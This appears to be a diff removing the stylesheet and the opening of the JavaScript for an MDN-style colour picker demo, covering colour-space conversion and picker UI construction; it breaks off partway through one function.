-.ui-color-picker .picker {
-	width: 10px;
-	height: 10px;
-	border-radius: 50%;
-	border: 1px solid #FFF;
-	position: absolute;
-	top: 45%;
-	left: 45%;
-}
-
-.ui-color-picker .picker:before {
-	width: 8px;
-	height: 8px;
-	content: "";
-	position: absolute;
-	border: 1px solid #999;
-	border-radius: 50%;
-}
-
-.ui-color-picker .hue,
-.ui-color-picker .alpha {
-	width: 198px;
-	height: 28px;
-	margin: 5px;
-	border: 1px solid #FFF;
-	float: left;
-}
-
-.ui-color-picker .hue {
-	background: url("https://mdn.mozillademos.org/files/5701/hue.png") center;
-	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
-				#00F 66.66%, #F0F 83.33%, #F00 100%);
-	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
-				#00F 66.66%, #F0F 83.33%, #F00 100%);
-	background: -ms-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
-				#00F 66.66%, #F0F 83.33%, #F00 100%);
-	background: -o-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
-				#00F 66.66%, #F0F 83.33%, #F00 100%);
-}
-
-.ui-color-picker .alpha {
-	border: 1px solid #CCC;
-	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
-}
-
-.ui-color-picker .alpha-mask {
-	width: 100%;
-	height: 100%;
-	background: url("https://mdn.mozillademos.org/files/6089/alpha_mask.png");
-}
-
-.ui-color-picker .slider-picker {
-	width: 2px;
-	height: 100%;
-	border: 1px solid #777;
-	background-color: #FFF;
-	position: relative;
-	top: -1px;
-}
-
-/* input HSV and RGB */
-
-.ui-color-picker .info {
-	width: 200px;
-	margin: 5px;
-	float: left;
-}
-
-.ui-color-picker .info * {
-	float: left;
-}
-
-.ui-color-picker .input {
-	width: 64px;
-	margin: 5px 2px;
-	float: left;
-}
-
-.ui-color-picker .input .name {
-	height: 20px;
-	width: 30px;
-	text-align: center;
-	font-size: 14px;
-	line-height: 18px;
-	float: left;
-}
-
-.ui-color-picker .input input {
-	width: 30px;
-	height: 18px;
-	margin: 0;
-	padding: 0;
-	border: 1px solid #DDD;
-	text-align: center;
-	float: right;
-
-	-moz-user-select: text;
-	-webkit-user-select: text;
-	-ms-user-select: text;
-}
-
-.ui-color-picker .input[data-topic="lightness"] {
-	display: none;
-}
-
-.ui-color-picker[data-mode='HSL'] .input[data-topic="value"] {
-	display: none;
-}
-
-.ui-color-picker[data-mode='HSL'] .input[data-topic="lightness"] {
-	display: block;
-}
-
-.ui-color-picker .input[data-topic="alpha"] {
-	margin-top: 10px;
-	width: 93px;
-}
-
-.ui-color-picker .input[data-topic="alpha"] > .name {
-	width: 60px;
-}
-
-.ui-color-picker .input[data-topic="alpha"] > input {
-	float: right;
-}
-
-.ui-color-picker .input[data-topic="hexa"] {
-	width: auto;
-	float: right;
-	margin: 6px 8px 0 0;
-}
-
-.ui-color-picker .input[data-topic="hexa"] > .name {
-	display: none;
-}
-
-.ui-color-picker .input[data-topic="hexa"] > input {
-	width: 90px;
-	height: 24px;
-	padding: 2px 0;
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-/* Preview color */
-.ui-color-picker .preview {
-	width: 95px;
-	height: 53px;
-	margin: 5px;
-	margin-top: 10px;
-	border: 1px solid #DDD;
-	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
-	float: left;
-	position: relative;
-}
-
-.ui-color-picker .preview:before {
-	height: 100%;
-	width: 50%;
-	left: 50%;
-	top: 0;
-	content: "";
-	background: #FFF;
-	position: absolute;
-	z-index: 1;
-}
-
-.ui-color-picker .preview-color {
-	width: 100%;
-	height: 100%;
-	background-color: rgba(255, 0, 0, 0.5);
-	position: absolute;
-	z-index: 1;
-}
-
-.ui-color-picker .switch_mode {
-	width: 10px;
-	height: 20px;
-	position: relative;
-	border-radius: 5px 0 0 5px;
-	border: 1px solid #DDD;
-	background-color: #EEE;
-	left: -12px;
-	top: -1px;
-	z-index: 1;
-	transition: all 0.5s;
-}
-
-.ui-color-picker .switch_mode:hover {
-	background-color: #CCC;
-	cursor: pointer;
-}
-
-/*
- * UI Component
- */
-
-.ui-input-slider {
-	height: 20px;
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-	-moz-user-select: none;
-	user-select: none;
-}
-
-.ui-input-slider * {
-	float: left;
-	height: 100%;
-	line-height: 100%;
-}
-
-/* Input Slider */
-
-.ui-input-slider > input {
-	margin: 0;
-	padding: 0;
-	width: 50px;
-	text-align: center;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-.ui-input-slider-info {
-	width: 90px;
-	padding: 0px 10px 0px 0px;
-	text-align: right;
-	text-transform: lowercase;
-}
-
-.ui-input-slider-left, .ui-input-slider-right {
-	width: 16px;
-	cursor: pointer;
-	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
-}
-
-.ui-input-slider-right {
-	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
-}
-
-.ui-input-slider-name {
-	width: 90px;
-	padding: 0 10px 0 0;
-	text-align: right;
-	text-transform: lowercase;
-}
-
-.ui-input-slider-btn-set {
-	width: 25px;
-	background-color: #2C9FC9;
-	border-radius: 5px;
-	color: #FFF;
-	font-weight: bold;
-	line-height: 14px;
-	text-align: center;
-}
-
-.ui-input-slider-btn-set:hover {
-	background-color: #379B4A;
-	cursor: pointer;
-}
-
-/*
- * COLOR PICKER TOOL
- */
-
-body {
-	max-width: 1000px;
-	margin: 0 auto;
-
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-
-	box-shadow: 0 0 5px 0 #999;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	-ms-user-select: none;
-	user-select: none;
-
-}
-
-/**
- * Resize Handle
- */
-.resize-handle {
-	width: 10px;
-	height: 10px;
-	background: url('https://mdn.mozillademos.org/files/6083/resize.png') center center no-repeat;
-	position: absolute;
-	bottom: 0;
-	right: 0;
-}
-
-[data-resize='both']:hover {
-	cursor: nw-resize !important;
-}
-
-[data-resize='width']:hover {
-	cursor: w-resize !important;
-}
-
-[data-resize='height']:hover {
-	cursor: n-resize !important;
-}
-
-[data-hidden='true'] {
-	display: none;
-}
-
-[data-collapsed='true'] {
-	height: 0 !important;
-}
-
-.block {
-	display: table;
-}
-
-
-/**
- * 	Container
- */
-#container {
-	width: 100%;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-
-	display: table;
-}
-
-/**
- * 	Picker Zone
- */
-
-#picker {
-	padding: 10px;
-	width: 980px;
-}
-
-.ui-color-picker {
-	padding: 3px 5px;
-	float: left;
-	border-color: #FFF;
-}
-
-.ui-color-picker .switch_mode {
-	display: none;
-}
-
-.ui-color-picker .preview-color:hover {
-	cursor: move;
-}
-
-/**
- * Picker Container
- */
-
-#picker-samples {
-	width: 375px;
-	height: 114px;
-	max-height: 218px;
-	margin: 0 10px 0 30px;
-	overflow: hidden;
-	position: relative;
-	float: left;
-
-	transition: all 0.2s;
-}
-
-#picker-samples .sample {
-	width: 40px;
-	height: 40px;
-	margin: 5px;
-	border: 1px solid #DDD;
-	position: absolute;
-	float: left;
-	transition: all 0.2s;
-}
-
-#picker-samples .sample:hover {
-	cursor: pointer;
-	border-color: #BBB;
-	transform: scale(1.15);
-	border-radius: 3px;
-}
-
-#picker-samples .sample[data-active='true'] {
-	border-color: #999;
-}
-
-#picker-samples .sample[data-active='true']:after {
-	content: "";
-	position: absolute;
-	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
-	width: 100%;
-	height: 12px;
-	top: -12px;
-	z-index: 2;
-}
-
-#picker-samples #add-icon {
-	width: 100%;
-	height: 100%;
-	position: relative;
-	box-shadow: inset 0px 0px 2px 0px #DDD;
-}
-
-#picker-samples #add-icon:hover {
-	cursor: pointer;
-	border-color: #DDD;
-	box-shadow: inset 0px 0px 5px 0px #CCC;
-}
-
-#picker-samples #add-icon:before,
-#picker-samples #add-icon:after {
-	content: "";
-	position: absolute;
-	background-color: #EEE;
-	box-shadow: 0 0 1px 0 #EEE;
-}
-
-#picker-samples #add-icon:before {
-	width: 70%;
-	height: 16%;
-	top: 42%;
-	left: 15%;
-}
-
-#picker-samples #add-icon:after {
-	width: 16%;
-	height: 70%;
-	top: 15%;
-	left: 42%;
-}
-
-#picker-samples #add-icon:hover:before,
-#picker-samples #add-icon:hover:after {
-	background-color: #DDD;
-	box-shadow: 0 0 1px 0 #DDD;
-}
-
-/**
- * 	Controls
- */
-
-#controls {
-	width: 110px;
-	padding: 10px;
-	float: right;
-}
-
-#controls #picker-switch {
-	text-align: center;
-	float: left;
-}
-
-#controls .icon {
-	width: 48px;
-	height: 48px;
-	margin: 10px 0;
-	background-repeat: no-repeat;
-	background-position: center;
-	border: 1px solid #DDD;
-	display: table;
-	float: left;
-}
-
-#controls .icon:hover {
-	cursor: pointer;
-}
-
-#controls .picker-icon {
-	background-image: url('https://mdn.mozillademos.org/files/6081/picker.png');
-}
-
-#controls #void-sample {
-	margin-right: 10px;
-	background-image: url('https://mdn.mozillademos.org/files/6087/void.png');
-	background-position: center left;
-}
-
-#controls #void-sample[data-active='true'] {
-	border-color: #CCC;
-	background-position: center right;
-}
-
-#controls .switch {
-	width: 106px;
-	padding: 1px;
-	border: 1px solid #CCC;
-	font-size: 14px;
-	text-align: center;
-	line-height: 24px;
-	overflow: hidden;
-	float: left;
-}
-
-#controls .switch:hover {
-	cursor: pointer;
-}
-
-#controls .switch > * {
-	width: 50%;
-	padding: 2px 0;
-	background-color: #EEE;
-	float: left;
-}
-
-#controls .switch [data-active='true'] {
-	color: #FFF;
-	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
-	background-color: #777;
-}
-
-/**
- * 	Trash Can
- */
-
-#delete {
-	width: 100%;
-	height: 94px;
-	background-color: #DDD;
-	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
-	background-repeat: repeat;
-
-	text-align: center;
-	color: #777;
-
-	position: relative;
-	float: right;
-}
-
-#delete #trash-can {
-	width: 80%;
-	height: 80%;
-	border: 2px dashed #FFF;
-	border-radius: 5px;
-	background: url('https://mdn.mozillademos.org/files/6085/trash-can.png') no-repeat center;
-
-	position: absolute;
-	top: 10%;
-	left: 10%;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-
-	transition: all 0.2s;
-}
-
-#delete[drag-state='enter'] {
-	background-color: #999;
-}
-
-/**
- * 	Color Theme
- */
-
-#color-theme {
-	margin: 0 8px 0 0;
-	border: 1px solid #EEE;
-	display: inline-block;
-	float: right;
-}
-
-#color-theme .box {
-	width: 80px;
-	height: 92px;
-	float: left;
-}
-
-/**
- * Color info box
- */
-#color-info {
-	width: 360px;
-	float: left;
-}
-
-#color-info .title {
-	width: 100%;
-	padding: 15px;
-	font-size: 18px;
-	text-align: center;
-	background-image: url('https://mdn.mozillademos.org/files/6071/color-wheel.png');
-	background-repeat:no-repeat;
-	background-position: center left 28%;
-}
-
-#color-info .copy-container {
-	position: absolute;
-	top: -100%;
-}
-
-#color-info .property {
-	min-width: 280px;
-	height: 30px;
-	margin: 10px 0;
-	text-align: center;
-	line-height: 30px;
-}
-
-#color-info .property > * {
-	float: left;
-}
-
-#color-info .property .type {
-	width: 60px;
-	height: 100%;
-	padding: 0 16px 0 0;
-	text-align: right;
-}
-
-#color-info .property .value {
-	width: 200px;
-	height: 100%;
-	padding: 0 10px;
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-	font-size: 16px;
-	color: #777;
-	text-align: center;
-	background-color: #FFF;
-	border: none;
-}
-
-#color-info .property .value:hover {
-	color: #37994A;
-}
-
-#color-info .property .value:hover + .copy {
-	background-position: center right;
-}
-
-#color-info .property .copy {
-	width: 24px;
-	height: 100%;
-	padding: 0 5px;
-	background-color: #FFF;
-	background-image: url('https://mdn.mozillademos.org/files/6073/copy.png');
-	background-repeat: no-repeat;
-	background-position: center left;
-	border-left: 1px solid #EEE;
-	text-align: right;
-	float: left;
-}
-
-#color-info .property .copy:hover {
-	background-position: center right;
-}
-
-
-/**
- * 	Color Palette
- */
-
-#palette {
-	width: 1000px;
-	padding: 10px 0;
-	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
-	background-repeat: repeat;
-	background-color: #EEE;
-	color: #777;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-#color-palette {
-	width: 640px;
-	font-family: Arial, Helvetica, sans-serif;
-	color: #777;
-	float: left;
-}
-
-#color-palette .container {
-	width: 100%;
-	height: 50px;
-	line-height: 50px;
-	overflow: hidden;
-	float: left;
-	transition: all 0.5s;
-}
-
-#color-palette .container > * {
-	float: left;
-}
-
-#color-palette .title {
-	width: 100px;
-	padding: 0 10px;
-	text-align: right;
-	line-height: inherit;
-}
-
-#color-palette .palette {
-	width: 456px;
-	height: 38px;
-	margin: 3px;
-	padding: 3px;
-	display: table;
-	background-color: #FFF;
-}
-
-#color-palette .palette .sample {
-	width: 30px;
-	height: 30px;
-	margin: 3px;
-	position: relative;
-	border: 1px solid #DDD;
-	float: left;
-	transition: all 0.2s;
-}
-
-#color-palette .palette .sample:hover {
-	cursor: pointer;
-	border-color: #BBB;
-	transform: scale(1.15);
-	border-radius: 3px;
-}
-
-#color-palette .controls {
-}
-
-#color-palette .controls > * {
-	float: left;
-}
-
-#color-palette .controls > *:hover {
-	cursor: pointer;
-}
-
-#color-palette .controls .lock {
-	width: 24px;
-	height: 24px;
-	margin: 10px;
-	padding: 3px;
-	background-image: url('https://mdn.mozillademos.org/files/6077/lock.png');
-	background-repeat: no-repeat;
-	background-position: bottom right;
-}
-
-#color-palette .controls .lock:hover {
-	/*background-image: url('images/unlocked-hover.png');*/
-	background-position: bottom left;
-}
-
-#color-palette .controls .lock[locked-state='true'] {
-	/*background-image: url('images/locked.png');*/
-	background-position: top left ;
-}
-
-#color-palette .controls .lock[locked-state='true']:hover {
-	/*background-image: url('images/lock-hover.png');*/
-	background-position: top right;
-}
-
-/**
- * Canvas
- */
-
-#canvas {
-	width: 100%;
-	height: 300px;
-	min-height: 250px;
-	border-top: 1px solid #DDD;
-	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
-	background-repeat: repeat;
-	position: relative;
-	float: left;
-}
-
-#canvas[data-tutorial='drop'] {
-	text-align: center;
-	font-size: 30px;
-	color: #777;
-}
-
-#canvas[data-tutorial='drop']:before {
-	content: "Déposez vos couleurs ici";
-	width: 40%;
-	padding: 30px 9% 70px 11%;
-
-	background-image: url('https://mdn.mozillademos.org/files/6075/drop.png');
-	background-repeat: no-repeat;
-	background-position: left 35px top 60%;
-
-	text-align: center;
-
-	border: 3px dashed rgb(221, 221, 221);
-	border-radius: 15px;
-
-	position: absolute;
-	top: 50px;
-	left: 20%;
-}
-
-#canvas[data-tutorial='drop']:after {
-	content: "pour les comparer, les ajuster ou les modifier.";
-	width: 40%;
-	font-size: 24px;
-	position: absolute;
-	top: 130px;
-	left: 32%;
-	z-index: 2;
-}
-
-#canvas [data-tutorial='dblclick'] {
-	background-color: #999 !important;
-}
-
-#canvas [data-tutorial='dblclick']:before {
-	content: "double click pour activer";
-	width: 80px;
-	color: #FFF;
-	position: absolute;
-	top: 10%;
-	left: 20%;
-	z-index: 2;
-}
-
-#canvas .sample {
-	width: 100px;
-	height: 100px;
-	min-width: 20px;
-	min-height: 20px;
-	position: absolute;
-	border: 1px solid rgba(255, 255, 255, 0.3);
-}
-
-#canvas .sample:hover {
-	cursor: move;
-}
-
-#canvas .sample[data-active='true']:after {
-	content: "";
-	position: absolute;
-	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
-	width: 100%;
-	height: 12px;
-	top: -12px;
-	z-index: 2;
-}
-
-#canvas .sample:hover > * {
-	cursor: pointer;
-	display: block !important;
-}
-
-#canvas .sample .resize-handle {
-	display: none;
-}
-
-#canvas .sample .pick {
-	width: 10px;
-	height: 10px;
-	margin: 5px;
-	background: url('https://mdn.mozillademos.org/files/6079/pick.png') center no-repeat;
-	position: absolute;
-	top: 0;
-	left: 0;
-	display: none;
-}
-
-#canvas .sample .delete {
-	width: 10px;
-	height: 10px;
-	margin: 5px;
-	background: url('https://mdn.mozillademos.org/files/6069/close.png') center no-repeat;
-	position: absolute;
-	top: 0;
-	right: 0;
-	display: none;
-}
-
-
-/**
- * Canvas controls
- */
-
-#canvas .toggle-bg {
-	width: 16px;
-	height: 16px;
-	margin: 5px;
-	background: url("images/canvas-controls.png") center left no-repeat;
-	position: absolute;
-	top: 0;
-	right: 0;
-}
-
-#canvas .toggle-bg:hover {
-	cursor: pointer;
-}
-
-#canvas[data-bg='true'] {
-	background: none;
-}
-
-#canvas[data-bg='true'] .toggle-bg {
-	background: url('https://mdn.mozillademos.org/files/6067/canvas-controls.png') center right no-repeat;
-}
-
-#zindex {
-	height: 20px;
-	margin: 5px;
-	font-size: 16px;
-	position: absolute;
-	opacity: 0;
-	top: -10000px;
-	left: 0;
-	color: #777;
-	float: left;
-	transition: opacity 1s;
-}
-
-#zindex input {
-	border: 1px solid #DDD;
-	font-size: 16px;
-	color: #777;
-}
-
-#zindex .ui-input-slider-info {
-	width: 60px;
-}
-
-#zindex[data-active='true'] {
-	top: 0;
-	opacity: 1;
-}
-
-
- -

JavaScript Content

- -
'use strict';
-
-var UIColorPicker = (function UIColorPicker() {
-
-	function getElemById(id) {
-		return document.getElementById(id);
-	}
-
-	var subscribers = [];
-	var pickers = [];
-
-	/**
-	 * RGBA Color class
-	 *
-	 * HSV/HSB and HSL (hue, saturation, value / brightness, lightness)
-	 * @param hue			0-360
-	 * @param saturation	0-100
-	 * @param value 		0-100
-	 * @param lightness		0-100
-	 */
-
-	function Color(color) {
-
-		if(color instanceof Color === true) {
-			this.copy(color);
-			return;
-		}
-
-		this.r = 0;
-		this.g = 0;
-		this.b = 0;
-		this.a = 1;
-		this.hue = 0;
-		this.saturation = 0;
-		this.value = 0;
-		this.lightness = 0;
-		this.format = 'HSV';
-	}
-
-	function RGBColor(r, g, b) {
-		var color = new Color();
-		color.setRGBA(r, g, b, 1);
-		return color;
-	}
-
-	function RGBAColor(r, g, b, a) {
-		var color = new Color();
-		color.setRGBA(r, g, b, a);
-		return color;
-	}
-
-	function HSVColor(h, s, v) {
-		var color = new Color();
-		color.setHSV(h, s, v);
-		return color;
-	}
-
-	function HSVAColor(h, s, v, a) {
-		var color = new Color();
-		color.setHSV(h, s, v);
-		color.a = a;
-		return color;
-	}
-
-	function HSLColor(h, s, l) {
-		var color = new Color();
-		color.setHSL(h, s, l);
-		return color;
-	}
-
-	function HSLAColor(h, s, l, a) {
-		var color = new Color();
-		color.setHSL(h, s, l);
-		color.a = a;
-		return color;
-	}
-
-	Color.prototype.copy = function copy(obj) {
-		if(obj instanceof Color !== true) {
-			console.log('Typeof parameter not Color');
-			return;
-		}
-
-		this.r = obj.r;
-		this.g = obj.g;
-		this.b = obj.b;
-		this.a = obj.a;
-		this.hue = obj.hue;
-		this.saturation = obj.saturation;
-		this.value = obj.value;
-		this.format = '' + obj.format;
-		this.lightness = obj.lightness;
-	};
-
-	Color.prototype.setFormat = function setFormat(format) {
-		if (format === 'HSV')
-			this.format = 'HSV';
-		if (format === 'HSL')
-			this.format = 'HSL';
-	};
-
-	/*========== Methods to set Color Properties ==========*/
-
-	Color.prototype.isValidRGBValue = function isValidRGBValue(value) {
-		return (typeof(value) === 'number' && isNaN(value) === false &&
-			value >= 0 && value <= 255);
-	};
-
-	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
-		if (this.isValidRGBValue(red) === false ||
-			this.isValidRGBValue(green) === false ||
-			this.isValidRGBValue(blue) === false)
-			return;
-
-			this.r = red | 0;
-			this.g = green | 0;
-			this.b = blue | 0;
-
-		if (this.isValidRGBValue(alpha) === true)
-			this.a = alpha | 0;
-	};
-
-	Color.prototype.setByName = function setByName(name, value) {
-		if (name === 'r' || name === 'g' || name === 'b') {
-			if(this.isValidRGBValue(value) === false)
-				return;
-
-			this[name] = value;
-			this.updateHSX();
-		}
-	};
-
-	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
-		this.hue = hue;
-		this.saturation = saturation;
-		this.value = value;
-		this.HSVtoRGB();
-	};
-
-	Color.prototype.setHSL = function setHSL(hue, saturation, lightness) {
-		this.hue = hue;
-		this.saturation = saturation;
-		this.lightness = lightness;
-		this.HSLtoRGB();
-	};
-
-	Color.prototype.setHue = function setHue(value) {
-		if (typeof(value) !== 'number' || isNaN(value) === true ||
-			value < 0 || value > 359)
-			return;
-		this.hue = value;
-		this.updateRGB();
-	};
-
-	Color.prototype.setSaturation = function setSaturation(value) {
-		if (typeof(value) !== 'number' || isNaN(value) === true ||
-			value < 0 || value > 100)
-			return;
-		this.saturation = value;
-		this.updateRGB();
-	};
-
-	Color.prototype.setValue = function setValue(value) {
-		if (typeof(value) !== 'number' || isNaN(value) === true ||
-			value < 0 || value > 100)
-			return;
-		this.value = value;
-		this.HSVtoRGB();
-	};
-
-	Color.prototype.setLightness = function setLightness(value) {
-		if (typeof(value) !== 'number' || isNaN(value) === true ||
-			value < 0 || value > 100)
-			return;
-		this.lightness = value;
-		this.HSLtoRGB();
-	};
-
-	Color.prototype.setHexa = function setHexa(value) {
-		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value);
-
-		if (valid !== true)
-			return;
-
-		if (value[0] === '#')
-			value = value.slice(1, value.length);
-
-		if (value.length === 3)
-			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,'$1$1$2$2$3$3');
-
-		this.r = parseInt(value.substr(0, 2), 16);
-		this.g = parseInt(value.substr(2, 2), 16);
-		this.b = parseInt(value.substr(4, 2), 16);
-
-		this.alpha	= 1;
-		this.RGBtoHSV();
-	};
-
-	/*========== Conversion Methods ==========*/
-
-	Color.prototype.convertToHSL = function convertToHSL() {
-		if (this.format === 'HSL')
-			return;
-
-		this.setFormat('HSL');
-		this.RGBtoHSL();
-	};
-
-	Color.prototype.convertToHSV = function convertToHSV() {
-		if (this.format === 'HSV')
-			return;
-
-		this.setFormat('HSV');
-		this.RGBtoHSV();
-	};
-
-	/*========== Update Methods ==========*/
-
-	Color.prototype.updateRGB = function updateRGB() {
-		if (this.format === 'HSV') {
-			this.HSVtoRGB();
-			return;
-		}
-
-		if (this.format === 'HSL') {
-			this.HSLtoRGB();
-			return;
-		}
-	};
-
-	Color.prototype.updateHSX = function updateHSX() {
-		if (this.format === 'HSV') {
-			this.RGBtoHSV();
-			return;
-		}
-
-		if (this.format === 'HSL') {
-			this.RGBtoHSL();
-			return;
-		}
-	};
-
-	Color.prototype.HSVtoRGB = function HSVtoRGB() {
-		var sat = this.saturation / 100;
-		var value = this.value / 100;
-		var C = sat * value;
-		var H = this.hue / 60;
-		var X = C * (1 - Math.abs(H % 2 - 1));
-		var m = value - C;
-		var precision = 255;
-
-		C = (C + m) * precision | 0;
-		X = (X + m) * precision | 0;
-		m = m * precision | 0;
-
-		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
-		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
-		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
-		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
-		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
-		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
-	};
-
-	Color.prototype.HSLtoRGB = function HSLtoRGB() {
-		var sat = this.saturation / 100;
-		var light = this.lightness / 100;
-		var C = sat * (1 - Math.abs(2 * light - 1));
-		var H = this.hue / 60;
-		var X = C * (1 - Math.abs(H % 2 - 1));
-		var m = light - C/2;
-		var precision = 255;
-
-		C = (C + m) * precision | 0;
-		X = (X + m) * precision | 0;
-		m = m * precision | 0;
-
-		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
-		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
-		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
-		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
-		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
-		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
-	};
-
-	Color.prototype.RGBtoHSV = function RGBtoHSV() {
-		var red		= this.r / 255;
-		var green	= this.g / 255;
-		var blue	= this.b / 255;
-
-		var cmax = Math.max(red, green, blue);
-		var cmin = Math.min(red, green, blue);
-		var delta = cmax - cmin;
-		var hue = 0;
-		var saturation = 0;
-
-		if (delta) {
-			if (cmax === red ) { hue = ((green - blue) / delta); }
-			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
-			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
-			if (cmax) saturation = delta / cmax;
-		}
-
-		this.hue = 60 * hue | 0;
-		if (this.hue < 0) this.hue += 360;
-		this.saturation = (saturation * 100) | 0;
-		this.value = (cmax * 100) | 0;
-	};
-
-	Color.prototype.RGBtoHSL = function RGBtoHSL() {
-		var red		= this.r / 255;
-		var green	= this.g / 255;
-		var blue	= this.b / 255;
-
-		var cmax = Math.max(red, green, blue);
-		var cmin = Math.min(red, green, blue);
-		var delta = cmax - cmin;
-		var hue = 0;
-		var saturation = 0;
-		var lightness = (cmax + cmin) / 2;
-		var X = (1 - Math.abs(2 * lightness - 1));
-
-		if (delta) {
-			if (cmax === red ) { hue = ((green - blue) / delta); }
-			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
-			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
-			if (cmax) saturation = delta / X;
-		}
-
-		this.hue = 60 * hue | 0;
-		if (this.hue < 0) this.hue += 360;
-		this.saturation = (saturation * 100) | 0;
-		this.lightness = (lightness * 100) | 0;
-	};
-
-	/*========== Get Methods ==========*/
-
-	Color.prototype.getHexa = function getHexa() {
-		var r = this.r.toString(16);
-		var g = this.g.toString(16);
-		var b = this.b.toString(16);
-		if (this.r < 16) r = '0' + r;
-		if (this.g < 16) g = '0' + g;
-		if (this.b < 16) b = '0' + b;
-		var value = '#' + r + g + b;
-		return value.toUpperCase();
-	};
-
-	Color.prototype.getRGBA = function getRGBA() {
-
-		var rgb = '(' + this.r + ', ' + this.g + ', ' + this.b;
-		var a = '';
-		var v = '';
-		var x = parseFloat(this.a);
-		if (x !== 1) {
-			a = 'a';
-			v = ', ' + x;
-		}
-
-		var value = 'rgb' + a + rgb + v + ')';
-		return value;
-	};
-
-	Color.prototype.getHSLA = function getHSLA() {
-		if (this.format === 'HSV') {
-			var color = new Color(this);
-			color.setFormat('HSL');
-			color.updateHSX();
-			return color.getHSLA();
-		}
-
-		var a = '';
-		var v = '';
-		var hsl = '(' + this.hue + ', ' + this.saturation + '%, ' + this.lightness +'%';
-		var x = parseFloat(this.a);
-		if (x !== 1) {
-			a = 'a';
-			v = ', ' + x;
-		}
-
-		var value = 'hsl' + a + hsl + v + ')';
-		return value;
-	};
-
-	Color.prototype.getColor = function getColor() {
-		if (this.a | 0 === 1)
-			return this.getHexa();
-		return this.getRGBA();
-	};
-
-	/*=======================================================================*/
-	/*=======================================================================*/
-
-	/*========== Capture Mouse Movement ==========*/
-
-	var setMouseTracking = function setMouseTracking(elem, callback) {
-		elem.addEventListener('mousedown', function(e) {
-			callback(e);
-			document.addEventListener('mousemove', callback);
-		});
-
-		document.addEventListener('mouseup', function(e) {
-			document.removeEventListener('mousemove', callback);
-		});
-	};
-
-	/*====================*/
-	// Color Picker Class
-	/*====================*/
-
-	function ColorPicker(node) {
-		this.color = new Color();
-		this.node = node;
-		this.subscribers = [];
-
-		var type = this.node.getAttribute('data-mode');
-		var topic = this.node.getAttribute('data-topic');
-
-		this.topic = topic;
-		this.picker_mode = (type === 'HSL') ? 'HSL' : 'HSV';
-		this.color.setFormat(this.picker_mode);
-
-		this.createPickingArea();
-		this.createHueArea();
-
-		this.newInputComponent('H', 'hue', this.inputChangeHue.bind(this));
-		this.newInputComponent('S', 'saturation', this.inputChangeSaturation.bind(this));
-		this.newInputComponent('V', 'value', this.inputChangeValue.bind(this));
-		this.newInputComponent('L', 'lightness', this.inputChangeLightness.bind(this));
-
-		this.createAlphaArea();
-
-		this.newInputComponent('R', 'red', this.inputChangeRed.bind(this));
-		this.newInputComponent('G', 'green', this.inputChangeGreen.bind(this));
-		this.newInputComponent('B', 'blue', this.inputChangeBlue.bind(this));
-
-		this.createPreviewBox();
-		this.createChangeModeButton();
-
-		this.newInputComponent('alpha', 'alpha', this.inputChangeAlpha.bind(this));
-		this.newInputComponent('hexa', 'hexa', this.inputChangeHexa.bind(this));
-
-		this.setColor(this.color);
-		pickers[topic] = this;
-	}
-
-	/*************************************************************************/
-	//				Function for generating the color-picker
-	/*************************************************************************/
-
-	ColorPicker.prototype.createPickingArea = function createPickingArea() {
-		var area = document.createElement('div');
-		var picker = document.createElement('div');
-
-		area.className = 'picking-area';
-		picker.className = 'picker';
-
-		this.picking_area = area;
-		this.color_picker = picker;
-		setMouseTracking(area, this.updateColor.bind(this));
-
-		area.appendChild(picker);
-		this.node.appendChild(area);
-	};
-
-	ColorPicker.prototype.createHueArea = function createHueArea() {
-		var area = document.createElement('div');
-		var picker = document.createElement('div');
-
-		area.className = 'hue';
